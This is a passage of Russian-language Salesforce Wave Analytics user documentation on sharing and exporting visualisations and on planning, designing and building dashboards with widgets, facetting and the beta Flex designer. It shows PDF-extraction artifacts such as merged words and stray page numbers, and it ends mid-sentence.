Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
визуализаций:
• “Использование Wave

Analytics»

Предоставьте коллегам общий доступ к визуализации путем публикации в Chatter,
полученияее уникального URL-адресаилизагрузкиее снимка экрана. Сообщение Chatter
предоставляетизображениеиссылкунаактив — представление Lens, панельмониторинга
или приложение — вWave Analytics. Коллеги со ссылкой и доступом к активу могут
детализировать и изучать представленную информацию. Для предоставления общего
доступа без доступа к активу используйте вариант снимка экрана.

1. НажмитеПредоставить общий доступ.

2. Откройте вкладку для нужного метода общего доступа:

a. ФункцияСообщение в ленту осуществляет публикацию в Chatter изображения
и ссылки на представление Lens, панель мониторинга и приложение. Выберите
лентуПользовательилиГруппа, введитеимяисвойкомментарий. Такжеможно
удалить изображение из сообщения, наведя на него указатель мыши и нажав x.
Учтите, что опубликованные изображения являются общедоступными.

b. ФункцияПолучить URL-адрес предоставляет уникальный URL-адрес актива.
Скопируйте ссылку и затем вставьте ее в нужное место.

c. ФункцияПолучить снимок экрана предоставляет статическое изображение
дляпубликациибезпредоставлениядоступа. Щелкнитеизображениедлязагрузки
PNG-файла.

3. Если применимо, щелкнитеПредоставить доступ для установки уровня общего доступа.

4. Нажмите кнопку «Готово».

Прим.: Для общего доступа к визуализации необходимо предоставить доступ к приложению, которое ее
содержит. Представления Lens, наборы данных и панели мониторинга внутри стандартного общедоступного
приложениядоступнывсемпользователямWave Analytics, еслиадминистраторынезапретилидоступ. Вседругие
приложения являются личными, при условии что доступ к приложению не предоставлен конкретному
пользователю, группе или роли сотрудниками с уровнем доступа «Менеджер».
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Экспорт визуализации в виде изображения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
визуализаций:
• “Использование Wave

Analytics»

Экспорт позволяет сохранять текущую визуализацию в виде графического файла.

1. Нажмите кнопку «Действия».

2. Щелкните «Экспортировать как изображение».
Данное действие инициирует открытие нового окна обозревателя, отображающего
визуализацию в виде графического файла PNG.

3. Правой кнопкой мышищелкните изображение и выберите пункт «Сохранить
изображение как...».

4. Введите имя файла и нажмите кнопку «Сохранить».

Ключевые элементы панели мониторинга Wave
Панель мониторинга поддерживает не только возможность чтения. Она предоставляет
пользователямвозможностьинтерактивноговзаимодействиянаосновенаборовданных,
являющихся существенными для компании. Настоятельно рекомендуем не только
просматривать снимки, но также использовать инструменты, предназначенные для
детализации важных данных. Начните работу прямо сейчас!

ПользователимогутпросматриватьпанельмониторингаWaveпутемвыбораотображаемыхэлементов. Каждыйэлемент —
это изображение действующего отфильтрованного запроса базы данных.

Селекторы
Вокне выбораможно выполнитьфильтрациюдоотдельногонужного значения. Например, выберитемаксимальное
и минимальное значения в окне выбора диапазона, благодаря которым панель мониторинга должна отображать
только стоимости, соответствующие указанному диапазону. Настройка данных значений инициирует изменение
диаграммичиселна странице. Какправило, взаимосвязь селекторовдруг с другомпозволяет выполнятьпостепенную

3919

Ключевые элементы панели мониторинга WaveAnalytics



детализацию. Например, выберите один селектор для просмотра продаж продукта, затем выберите второй селектор
для фильтрации продаж по региону, а затем выберите третий селектор для фильтрации регионов продаж по
организации. Существуют разные типы окон выбора: списки, окна выбора, переключатели, окна выбора дат и
диапазонов.

Ключевые индикаторы эффективности
Некоторые данные лучше просматривать в виде отдельных чисел. Некоторые числовые элементы могут зависеть от
действийфильтрации, выполняемыхнаддиаграммамиилиселекторами. Например, привыборе конкретногостолбца
диаграммы, отображающей ожидаемые продажи отдельных торговых представителей, числовой элемент может
отображать текущее значение конкретного столбца взамен итогового.

Диаграммы
Разнообразныедиаграммыпозволяютпользователямпросматриватьданныесразныхточек зрения. Многие элементы
диаграммыявляютсяинтерактивными. Например, щелкнитестолбецдиаграммыидождитесьотображениярезультатов.
Данное действие инициирует фильтрацию запроса, представленного диаграммой. Внесенная поправка влияет на
отображение других значений данной диаграммы, значений других диаграмм и чисел.

Создание панелей мониторинга Wave

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Пользователь, просмотревшийданныепутемвыбораполезныхтемишаблонов, а также
создавший как минимум одно представление Lens, может создать панель мониторинга,
позволяющую преобразовывать данные в решения.
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Такможетвыглядетьполностьюготоваяпанельмониторинга. Данныйдокументсодержитподробноеописаниеосновных
понятий, необходимых для создания панелей мониторинга, а также некоторые рекомендации и полезные советы.

Каждаяпанельмониторинга является уникальной. Содержимоепанелимониторингаможетбыть самымразнообразным.

Совет: Порядок выполнения указанных ниже действий может быть изменен. Некоторые действия являются
дополнительными.

1. Планирование панели мониторинга
Создание эффективной панели мониторинга требует некоторого планирования и выбора. Планирование панели
мониторинга позволяет концентрировать внимание аудитории на управляемом наборе вопросов, который является
основойдля дальнейшихдействий, а такжеподдерживать текущиеобновления, помогающиеаудиториисо временем
получать полное и последовательное представление.

2. Проектирование панели мониторинга
Прежде чем начать создание панели мониторинга, рекомендуем воспользоваться ее проектированием на бумаге или
доске. Визуальноепроектированиепозволяет определять способыиспользованияпанелимониторингаиисключать
возможные пробелы.

3. Создание панели мониторинга
Если вы обдумываете назначение и конструкциюпанели мониторинга, вы готовы создать панель и собрать ее части.

4. Преобразование панели мониторинга в конструктор Flex (бета-версия)

Конструктор панели мониторинга Flex предлагает привязку к сетке для быстрого создания визуально эстетичных
панелей мониторинга и усовершенствованный механизм перетаскивания для размещения виджетов на холсте
конструктора. При изменении размера обозревателя ширина столбцов адаптируется автоматически, сохраняя при
этом соотношения размеров. Для увеличения рабочего пространства спрячьте представления Lens и панели свойств
при редактировании панели мониторинга. А конструктор Flex предлагает встроенные инструменты для создания
представлений Lens в конструкторе.

СМ. ТАКЖЕ:

Что такое панель мониторинга?

Планирование панели мониторинга
Создание эффективной панели мониторинга требует некоторого планирования и выбора. Планирование панели
мониторинга позволяет концентрировать внимание аудитории на управляемом наборе вопросов, который является
основой для дальнейших действий, а также поддерживать текущие обновления, помогающие аудитории со временем
получать полное и последовательное представление.

Рекомендуемпланироватьпанельмониторингавписьменнойформе. Составленныйпланпозволяет заранееопределить
направленность панели мониторинга, которой следует придерживаться. Чтобы исключить то, что не поддерживается
данной панелью мониторинга, определите конкретный вопрос, бизнес-процесс или группу пользователей.

1. Кто является аудиторией?

Будетлипанельмониторингаиспользоватьсяруководством, группоймаркетинга, группойсбытаилидругой группой?
Убедитесь, что каждая панель мониторинга отображает данные, характерные только одной аудитории.

Например, припланированиименеджеромпопродажампанелимониторингадля еженедельнойвстречиучастников
группы сбыта аудиторией являются участники данной встречи.

2. Что должно оцениваться аудиторией?
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Какиевопросыявляютсяобязательнымидлядостиженияпоставленныхцелей? Например, аудиторииможеттребоваться
просмотр ожидаемых продаж каждого торгового представителя, а также общих ожидаемых продаж.

3. Как часто аудитория должна обновлять информацию?

Требуются ли руководству ежеквартальныефинансовые документы? Требуется ли группе маркетинга отслеживание
ежедневных количеств созданных интересов?

Чтобы ознакомиться с некоторыми ключевыми задачами, входящими в процесс создания панели мониторинга, в
следующих разделах мы создадим панель мониторинга для группы сбыта, которая проводит еженедельные встречи
по вопросам пересмотра статуса процесса продаж.

СМ. ТАКЖЕ:

Какие панели мониторинга следует создать?

Проектирование панели мониторинга
Прежде чем начать создание панели мониторинга, рекомендуем воспользоваться ее проектированием на бумаге или
доске. Визуальное проектирование позволяет определять способы использования панели мониторинга и исключать
возможные пробелы.

Помните, чтодиаграммывWave Analytics — этоосновное средствополученияинформации, котороепринеобходимости
можетиспользоватьсядляанализаиподведенияитогов. Хорошаяпанельмониторингапозволяетаудиториидетализировать
данные, а также находить более точную и полезную информацию.

Ниже перечисленышироко распространенные рекомендации по проектированию собственной панели мониторинга.

1. Рекомендуем располагать элементы по приоритету (от верхнего левого угла до нижнего правого).

Как правило, пользователи языков, читаемых слева направо, смотрят на верхний левый угол, а затем перемещаются
вниз. При проектировании рекомендуем учитывать язык аудитории. Благодаря заметному размещению, важные
элементы могут быть найдены даже спешащей или невнимательной аудиторией.

a. Разместите более общуюинформациюв диаграммах выше, а дополнительнуюинформациюв диаграммахниже.

b. Сгруппируйте фильтры сверху или слева, чтобы их было легко заметить.

c. Разместите более общую информацию выше и левее, а ниже расположите подробности.

Например, разместитечисла, отображающиеодинпоказатель (такойкак доход за текущийквартал), сверхуи слева.

Выделитефакты, необходимые аудитории для быстрого просмотра.

2. Рекомендуем выбирать типы диаграмм по характеристикам данных, но не по внешнему виду или разнообразию.

Например, если большая часть диаграмм отображает динамические изменения значений, то все диаграммы могут
быть линейными.

3. С помощью контейнеров компонуйте и систематизируйте связанные элементы на панели мониторинга.
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4. Назначьте метки разделам и диаграммам, чтобы аннотировать панель мониторинга.

5. Разграничивать разделы можно разными цветами.

6. Не рекомендуем перегружать панель мониторинга, оставьте немного свободного места.

Еслидиаграмма требуетналичия слишкомдлинного заголовка, убедитесь в целесообразности ее использования. Как
правило, тщательно подобранные данные содержат всю необходимую информацию.

Создание панели мониторинга
Если вы обдумываете назначение и конструкцию панели мониторинга, вы готовы создать панель и собрать ее части.

ПанельмониторингаWave — этонаборвиджетов, позволяющихпросматриватьданныесразныхточекзрения. Виджеты —
это элементы, содержащие информацию, которую следует продемонстрировать аудитории. Существуют разные типы
виджетов, например, визуализации на основе запросов, таблицы, фильтры или изображения.

В следующих разделах мы рассмотрим пример, иллюстрирующий создание панели мониторинга ожидаемых продаж с
виджетами разного типа.

3923

Создание панелей мониторинга WaveAnalytics



1. Создание панели мониторинга
Для созданияпанелимониторингаможновоспользоватьсяпредварительносозданныммакетомилиначать счистого
полотна, чтобы создать собственный макет. Используйте оригинальный конструктор панелей мониторинга или
новый гибкийконструкторпанелеймониторинга, еслионактивированв вашейорганизации. Внашемпримеребудем
использовать оригинальный конструктор.

2. Добавление ключевых индикаторов эффективности на панель мониторинга
Иногда, одночисломожетбыстропродемонстрировать эффективностьдеятельности. Например, общее количество
открытых обращенийоподдержке и количествоновых обращенийоподдержке, открытых в течение даннойнедели,
являются ключевымипоказателямитого, чтоменеджерпообслуживаниюоченьполезен. Добавьте виджеты «Число»,
чтобы вывести показатели на панель мониторинга.

3. Добавление визуализации в панель мониторинга
Добавляйтедиаграммыдлявизуализациииработайтесданными, содержащимиинформациюоних. Каждаядиаграмма
основана на базовом запросе в представлении Lens.

4. Виджеты «Фасет» для просмотра данных с разных точек зрения
Виджеты, извлеченные из того же набора данных, фасетируются по умолчанию. Фасетирование предполагает, что
фильтрация одного виджета инициирует аналогичнуюфильтрацию всех связанных виджетов. При необходимости
включите или выключите фасетирование для каждого виджета.

5. Добавление изображений к панели мониторинга
Добавьте изображения данные на панель мониторинга для предоставления аудитории соответствующего контекста
ивозможностиболееувлекательногопросмотра. Например, прииспользованиипанелимониторинга, предназначенной
для отслеживания продаж нескольких продуктов, продукты могут различаться по логотипам.

6. Добавление ссылки на представления Lens и другие панели мониторинга
С помощью ссылок можно привязать панель мониторинга к соответствующим представлениям Lens и панелям
мониторинга. Этот виджет позволяет разбивать анализы по разным активам вместо того, чтобы заполнять ими
отдельную панель мониторинга. Он также помогает создавать разводки для анализа данных.

7. Улучшение панели мониторинга
С помощью группировок, цветовых схем, меток и ссылок можно очистить панель мониторинга и сосредоточиться
на привлечении внимания аудитории.

8. Просмотр сведений о представлении Lens виджета
Чтобы гарантировать отображение виджетом точных данных, просмотрите сведения о представлении Lens виджета.

9. Фильтрация или удаление представлений Lens, вырезанных из панели мониторинга
Систематизируйте вырезанные представления Lens, чтобы уменьшить число повторов. Вы можете отфильтровать
списоквырезанныхпредставлений Lens, чтобыпросмотретьнеиспользованныепредставленияиудалитьихизпанели
мониторинга.

СМ. ТАКЖЕ:

Клавиши быстрого доступа Wave

Создание панели мониторинга
Для создания панели мониторинга можно воспользоваться предварительно созданным макетом или начать с чистого
полотна, чтобы создать собственный макет. Используйте оригинальный конструктор панелей мониторинга или новый
гибкий конструктор панелей мониторинга, если он активирован в вашей организации. В нашем примере будем
использовать оригинальный конструктор.
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Данная тема посвящена созданиюпанелеймониторинга вWave Analytics. Сведения о созданиипанелеймониторинга для
отчетов см. в статье Создание панели мониторинга в Salesforce Classic.

Прим.: См. «Примечания к выпуску Spring '16», чтобыразобраться в отличияхмежду оригинальным конструктором
и новым гибким конструктором панелей мониторинга.

1. Нажмите кнопку «Создать», затем > «Панель мониторинга» на начальной странице.
Появятся шаблоны макета.

2. Выберитешаблонмакетаилисоздайтепустуюпанельмониторинга воригинальномилиновомконструкторепанелей
мониторинга. В данном случае мы будем создавать пустую панель мониторинга посредством оригинального
конструктора.

3. Выберите «Пустая панель мониторинга в конструкторе панелей», затем нажмите кнопку «Продолжить».
Откроется конструктор.

4. Чтобы сохранить панель мониторинга в приложении, нажмите кнопку сохранения ( ).
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5. Нажмите кнопку «Сохранить».

Добавление ключевых индикаторов эффективности на панель мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Иногда, одно число может быстро продемонстрировать эффективность деятельности.
Например, общее количество открытых обращений о поддержке и количество новых
обращений о поддержке, открытых в течение данной недели, являются ключевыми
показателями того, что менеджер по обслуживанию очень полезен. Добавьте виджеты
«Число», чтобы вывести показатели на панель мониторинга.

1.
Откройте набор данных возможностей и нажмите , чтобы рассчитать
общее значение для всех возможностей в ожидаемых продажах.

a. Выберите элемент «Сумма» в левом столбце панели выбора меры.

b. Выберите поле набора данных в правой колонке, которую следует суммировать.
В данном случае выберите «Сумма».

Прим.: Нерекомендуемдобавлять группировки. Поопределениючислосостоит всегоизодной группы. Позже
вы добавите диаграмму, отображающую значение для разных группировок.
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2. Добавьте другой тип меры, позволяющий дополнить контекст данной панели мониторинга. Например, чтобы
просмотреть количество закрытых сделок, выберите элемент «Количество» и значение «isWon».

3. Чтобы вырезать данное представление Lens в конструктор, щелкните значок .

Совет: Приналичиинескольких панелеймониторинга представление Lens вырезается на панель мониторинга,
открытую последней.

4. В конструкторе панелей мониторинга щелкните виджет «Число» ( ), затем выберите первое вырезанное
представление Lens, содержащее суммарное значение.
Число, отображаемое в виджете «Число», соответствует первой (крайней левой) выбранной мере.

5. Чтобывыбратьдругуюмеруизпредставления Lens илинастроитьдругиеполезныесвойства, выберите виджет «Число»
и настройте свойства в соответствующем разделе.

a. Введите заголовок виджета. Иногда стандартный заголовок, извлекаемый из имени поля, может быть слишком
зашифрованным для аудитории.

b. Чтобы уменьшить слишком длинное число, выберите «Сокращенное число». Данный параметр возвращает
длинное число (например, «2 148 352») в виде сокращения (например, «2 млн.»).

6. Используйте такую же процедуру и добавьте другой виджет «Число» на основе второго вырезанного представления
Lens, содержащего число реализованных сделок.

Теперь на панели мониторинга два виджета «Число».
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Добавление визуализации в панель мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Добавляйте диаграммы для визуализации и работайте с данными, содержащими
информацию о них. Каждая диаграмма основана на базовом запросе в представлении
Lens.

На следующих этапах мы создадим две интерактивные диаграммы, позволяющие
аудитории анализировать процессы продаж. В первой диаграмме ожидаемые продажи
будут анализироваться по ответственному за организацию. Во второй диаграмме — по
этапу. Обе диаграммы будут основаны на представлении «Потенциальные клиенты»,
содержащем подсчет числа потенциальных клиентов без группировок.

1. Убедитесь, что панель мониторинга «Ожидаемые продажи» открыта.

Панель мониторинга, в которую будут вырезаться представления, должна быть
открыта.

Прим.: Если она открыта не будет, Wave создаст новую панель мониторинга.

2. Откройте представление «Потенциальные клиенты» на начальной странице.

3. Сгруппируйте данные по ответственному за организацию.

4. Щелкните , чтобы вырезать представление в панель мониторинга.

5. Измените группировку «Ответственный за организацию» на группировку «Имя этапа».

Чтобы изменить группировку, щелкните по ней и выберите новую группировку.

6. Вырежьте представление в конструктор.

Когда оба представления будут вырезаны в панель мониторинга, мы можем на их основе построить диаграммы.

7. Просмотрите панель мониторинга «Ожидаемые продажи» в конструкторе.
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8. Вконструкторепанелимониторингащелкнитеповиджету «Диаграмма» ивыберитепервоевырезанноепредставление,
содержащее число потенциальных клиентов, сгруппированных по ответственному за организацию.
В диаграмме показаны результаты из базового запроса в вырезанном представлении.

9. Создайте другую диаграмму на основе другого вырезанного представления Lens — диаграмму, сгруппированную по
имени этапа.
В новом виджете «Диаграмма» показано число потенциальных клиентов на каждом этапе.

10. Щелкните , чтобы просмотреть панель мониторинга в режиме презентации.
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Теперьпросмотритепредставлениепанелимониторингас точкизренияаудиторииипринеобходимостизадайтенужные
вопросы.

Виджеты «Фасет» для просмотра данных с разных точек зрения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Виджеты, извлеченные из того же набора данных, фасетируются по умолчанию.
Фасетированиепредполагает, чтофильтрацияодноговиджетаинициируетаналогичную
фильтрацию всех связанных виджетов. При необходимости включите или выключите
фасетирование для каждого виджета.

Рассмотрим, как работает фасетирование к виджетами «Число» и «Диаграмма»,
добавленными на панель мониторинга.

1. Напанелимониторинга «Ожидаемыепродажи» щелкнитепервуюпанельвдиаграмме,
отображающейчислопотенциальныхклиентов, сгруппированныхпоответственному
за организацию.
Обратите внимание, что первая панель выделилась и результаты других виджетов
изменились. Благодаряфасетированиютеперьвиджеты «Число» ивтораядиаграмма
отображают результаты только для выбранного ответственного за организацию.
Каждыйвиджетотображает тотженаборданных, носдругойточкизрения. Виджеты,
созданные на основе того же набора данных, фасетируются по умолчанию.
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2. Снова щелкните первую панель, чтобы удалить фильтр с учетом ответственного за организацию.
Теперь результаты отображаются для всех ответственных за организацию.

3. Щелкните первую панель диаграммы, отображающей число потенциальных клиентов, сгруппированных по имени
этапа.
Данное действие инициирует изменение диаграммы «Ответственные за организацию» для отображения значений
сделок, назначенных каждому торговому представителю на выбранном этапе. Поскольку на этом этапе сделки
заключены только у Марка, в диаграмме «Ответственные за организацию» отображается он один.

4. Чтобы отключить фасетирование для отдельного виджета, очистите критерийФасетировать это представление
Lens в свойствах представления Lens.
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Совет: Дляфасетированиявиджетовможноиспользовать связыванияизразныхнаборовданных. Дополнительную
информацию см. в Руководстве по JSON панели мониторингаWave Analytics.

Добавление изображений к панели мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Добавьте изображения данные на панель мониторинга для предоставления аудитории
соответствующегоконтекстаивозможностиболееувлекательногопросмотра. Например,
при использовании панели мониторинга, предназначенной для отслеживания продаж
нескольких продуктов, продукты могут различаться по логотипам.

1. Загрузите требуемое изображение на вкладку «Документы» и выберите пункт
«Доступен внешне как изображение».

Если не выбрать этот пункт, изображение не появиться на панели мониторинга.

2. Скопируйте код записи из URL-адреса документа в адресной строке.

3. Щелкнитевиджет «Поле» напанелимониторингаивставьтеидентификаторзаписи
в поле «Идентификатор документа изображения» в разделе свойств виджета.

Прим.: Виджет «Поле» также можно использовать, чтобы затенить часть панели
мониторинга или добавить фоновый цвет на панель. Например, окрашенные
области можно использовать, чтобы выделить ключевые показатели и фильтры.

Для этого не выбирайте изображение, а определите фоновый цвет в поле свойств
виджета «Цветфона».

СМ. ТАКЖЕ:

https://help.salesforce.com/apex/HTViewHelpDoc?id=docs_upload.htm
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Добавление ссылки на представления Lens и другие панели мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

С помощью ссылок можно привязать панель мониторинга к соответствующим
представлениям Lens ипанеляммониторинга. Этот виджетпозволяетразбивать анализы
по разным активам вместо того, чтобы заполнять ими отдельную панель мониторинга.
Он также помогает создавать разводки для анализа данных.

1. Щелкните значок ссылки на панели мониторинга.

2. В свойствах виджета укажите свойства ссылки, например приведенные ниже.

Тип цели
Выберите тип цели: сохраненное представление Lens, сохраненная панель
мониторинга или новое представление Lens.

Цель
Укажите актив представления Lens или панели мониторинга для добавления
ссылки.

Прим.: Есливыпытаетесьсоздатьвиджет «Ссылка» напанелимониторинга,
не сохраненной в выпуске Spring’16, и не можете найти актив в
раскрывающемся списке, сначала откройте актив, а затем поищите его в
списке.

Добавить состояние панели мониторинга
При включении данного свойства выбранные значения и фильтры, примененные средством просмотра панели
мониторинга, переносятся в связанное представление Lens или на панель мониторинга.

Прим.: Припереносе состоянийWave Analyticsпроверяетцельнаналичиепредставлений Lens, совместимых
с представлениями Lens из исходной панели мониторинга.

Ниже перечислены условия, препятствующие переносу состояния панели мониторинга для отдельных
представлений Lens.

• Целевое представление Lens и исходное представление Lens используют разные наборы данных.

• При связывании с другой панельюмониторинга целевое представление Lens и исходное представление
Lens используют разные группировки. Если целью ссылки является представление Lens, то группировки
не препятствуют переносу состояния панели мониторинга.

Текст
Сообщение, соответствующее активной части ссылки.
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Улучшение панели мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

С помощью группировок, цветовых схем, меток и ссылок можно очистить панель
мониторинга и сосредоточиться на привлечении внимания аудитории.

Ниже перечислены рекомендации по улучшению дизайна панели мониторинга.

• С помощью виджета «Поле» в исходном конструкторе или виджета «Контейнер» в
конструкторепанелимониторинга Flexдобавляйтенапанельмониторингафоновые
цветаибаннерыилилоготипкомпании. Такжедля группировкисвязанныхвиджетов
на панели мониторинга можно использовать границы.

• С помощью виджетов «Текст» можно четко аннотировать панель мониторинга,
создавая, например, метки для диаграмм, разделов и фильтров.

Просмотр сведений о представлении Lens виджета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Чтобы гарантировать отображение виджетом точных данных, просмотрите сведения о
представлении Lens виджета.

1. При просмотре панели мониторинга в режиме презентации наведите указатель

мыши на виджет и щелкните значок .

инициирует отображение сведений о представлении Lens.

2. Просмотрите набор данных, а также примененные измерения, меры, фильтры и другие сведения о представлении
Lens виджета.
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Фильтрация или удаление представлений Lens, вырезанных из панели мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Систематизируйте вырезанные представления Lens, чтобы уменьшить число повторов.
Выможете отфильтровать список вырезанныхпредставлений Lens, чтобыпросмотреть
неиспользованные представления и удалить их из панели мониторинга.

1. Выберите параметр фильтрации «Все представления Lens», «Активные
представления Lens» или «Неиспользуемые представления Lens» из меню
вырезанных представлений Lens.

2. Чтобы удалить неиспользуемое представление Lens из панели мониторинга, щелкните значок .

Представление Lens, сохраненное вWave Analytics, может быть открыто из вкладки «Представления Lens» даже после
удаления с панели мониторинга.

Преобразование панели мониторинга в конструктор Flex (бета-версия)
Конструкторпанелимониторинга Flex предлагаетпривязкук сеткедлябыстрогосозданиявизуальноэстетичныхпанелей
мониторингаи усовершенствованныймеханизмперетаскиваниядля размещения виджетовна холсте конструктора. При
изменении размера обозревателя ширина столбцов адаптируется автоматически, сохраняя при этом соотношения
размеров. Для увеличения рабочего пространства спрячьте представления Lens и панели свойств при редактировании
панели мониторинга. А конструктор Flex предлагает встроенные инструменты для создания представлений Lens в
конструкторе.

Если в настройках Wave Analytics выбраноВключить конструктор панели мониторинга Flex (бета-версия), при
создании или редактировании панелей мониторинга можно будет использовать новый конструктор. Переключаться
между ними можно будет с помощью кнопкиКонструктор панели мониторинга Flex (бета-версия) во время
редактирования панели мониторинга.

При первом открытии существующей панели мониторинга в конструкторе Flex платформа Wave копирует ее для
конструктора Flex. После преобразования панели мониторинга ее нельзя будет открывать в исходном конструкторе. Но
имея две копии, с ними можно будет работать в другом конструкторе.

Когда копия открывается в конструкторе Flex, виджеты на холсте конструктора могут сместиться из-за обновления сетки.
При необходимости их можно упорядочить заново. Сфункцией привязки к сетке работа существенно упрощается. Во
время преобразования могут возникнуть еще две проблемы.

• Удалены виджеты «Поле». Решение: Добавьте виджет «Контейнер».
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• Удалены виджеты YouTube. Решение: С помощью виджета «Ссылка» создайте привязку к видео YouTube.

Ключевые отличия между исходным конструктором панели мониторинга и конструктором Flex

Между исходным конструктором панели мониторинга и конструктором Flex существуют следующие отличия.

• Чтобы добавить представление Lens к панели мониторинга в конструкторе Flex, необходимо на панели мониторинга
нажать кнопкуСоздатьновоепредставление Lens. Подробнуюинформациюсм. вразделеСозданиепредставлений
Lens в конструкторе Flex.

• Конструктор Flex использует привязку к сетке, что позволяет быстро упорядочивать виджеты и изменять их размеры.

• Конструктор Flex позволяет скрыватьпредставления Lens исвойства, чтообеспечиваетбольшерабочегопространства
при проектировании панели мониторинга.

• Использоватьвиджет YouTube вконструкторе Flex нерекомендуется. Приоткрытиисуществующейпанелимониторинга
виджет YouTube удаляется спанели. Принеобходимостисоздатьпривязку к видео YouTube можноспомощьювиджета
«Ссылка».

• Виджет «Контейнер» вконструкторе Flex заменяетвиджет «Поле». Поаналогиисвиджетом «Поле» ввиджет «Контейнер»
можнодобавитьфоновоеизображение. Однаковиджет «Контейнер» предоставляетбольшевозможностей, позволяя
группировать виджеты в рамках контейнера и перемещать их за один раз. При открытии существующей панели
мониторинга в конструкторе Flex виджет «Поле» удаляется с панели. При необходимости можно добавить виджет
«Контейнер».

• В конструкторе Flex виджеты невозможно накладывать друг на друга, кроме виджета в виджете «Контейнер».

• Чтобы добавить виджет в конструктор Flex, перетяните его на холст и установите сверху представление Lens.
Представление Lens также можно перетянуть прямо на холст благодаря особому типу диаграммы, используемой
виджетом.

• В бета-версии конструктора Flex не поддерживаются следующие виджеты типов диаграмм: «Календарная тепловая
карта», «Тепловая карта», «Параллельные координаты», «Горизонтальная точечнаяматрица», «Вертикальная точечная
матрица» и «Сводная таблица». Вне зависимости от поддерживаемого типа вырезать можно любую диаграмму. При
перетягивании виджета на холст диаграмма преобразовывается в горизонтальную ярусную диаграмму, не считая
сводной таблицы, которая преобразовывается в таблицу сравнения.

Создание представлений Lens в гибком конструкторе
Используя гибкий конструктор панелей мониторинга (бета-версия) и его инструментарий, можно добавлять
представления Lens на панель. Преобразуйте вычисляемые столбцы таблиц сравнения в визуальные представления,
либо индивидуально настраивайте запросы в редакторе SAQL. Оба подхода предлагают простой способ настройки
диаграмм, указывая показатели, которые следует отобразить, а также их порядок.

Создание представлений Lens в гибком конструкторе
Используя гибкийконструкторпанелеймониторинга (бета-версия) иегоинструментарий, можнодобавлятьпредставления
Lens напанель. Преобразуйте вычисляемыестолбцытаблицсравнения в визуальныепредставления, либоиндивидуально
настраивайтезапросывредакторе SAQL. Обаподходапредлагаютпростойспособнастройкидиаграмм, указываяпоказатели,
которые следует отобразить, а также их порядок.

Чтобы создать представления Lens в гибком конструкторе, выполните следующие действия.

1.
Чтобы открыть панель представлений Lens, нажмите «Показывать представления Lens» ( ).

2. Щелкните «Создать новое представление Lens».
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3. Выберите набор данных. Наборыданныхпоявятся в порядке последнегоиспользования. Если возникнут сложности,
воспользуйтесь поиском наборов данных.

4. Просмотрите и создайте визуальные представления.

В этот момент существуют три варианта дальнейших действий.

a. Если представление Lens не является таблицей сравнения, можно просто нажать «Сохранить», и представление
Lens добавляется к представлениям, доступным конструктору.

b.
Дляиспользованияполейформулвыберитетаблицусравнения ) из галереидиаграммисоздайтевычисляемые
столбцы.

При сохранении появится предложение о подтверждении или изменении способа визуализации столбцов с
показателями.
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Для изменения порядка показателей передвигайте их. Также можнощелкнуть показатель, чтобы скрыть или
отобразить его. Порядоквлияетнаиспользованиепоказателяпривизуализации. Например, в диаграммеразброса
первоый показател используется как ось x, второй — как ось y, а третий представляет размер значка.

Нажмитекнопку«Сохранить», чтобыдобавитьпредставления Lens кпредставлениям, доступнымдляконструктора.

c. Для уточнения запроса в меню параметров выберите «Показать SAQL» ( ) и нажмите значок редактирования

( ).
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Редактор SAQL предлагает контекстноеинтеллектуальное автоматическое заполнение. После внесенияизменений
в редакторе SAQL кнопка «Далее» будет отключена. Для включения кнопки следует выбрать пункт «Выполнить
запрос», чтобы редактор проверил его правильность.
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После нажатия кнопки «Далее» появляется интерактивное диалоговое окно, в котором следует подтвердить или
изменитьпорядокотображения группипоказателейв визуальномпредставлении. Нажмите кнопку «Сохранить»,
чтобы добавить представления Lens к представлениям, доступным для конструктора.

Основные сведения о панелях мониторинга
Ниже представлены некоторые общие сведения о панелях мониторингаWave Analytics, которые могут дополнить
инструкции по планированию, проектированию и созданию панелей мониторинга.

Что такое панель мониторинга?
Панельмониторинга — этосредствопросмотраконкретнойинформациионабореданных, доступнойдлядальнейшей
обработки. Панель мониторинга отображает набор рекомендованных диаграмм, показателей и таблиц на основе
данных из представления Lens.

Какие панели мониторинга следует создать?

Панели мониторинга могут поддерживать разные типы поиска информации: операционные, стратегические или
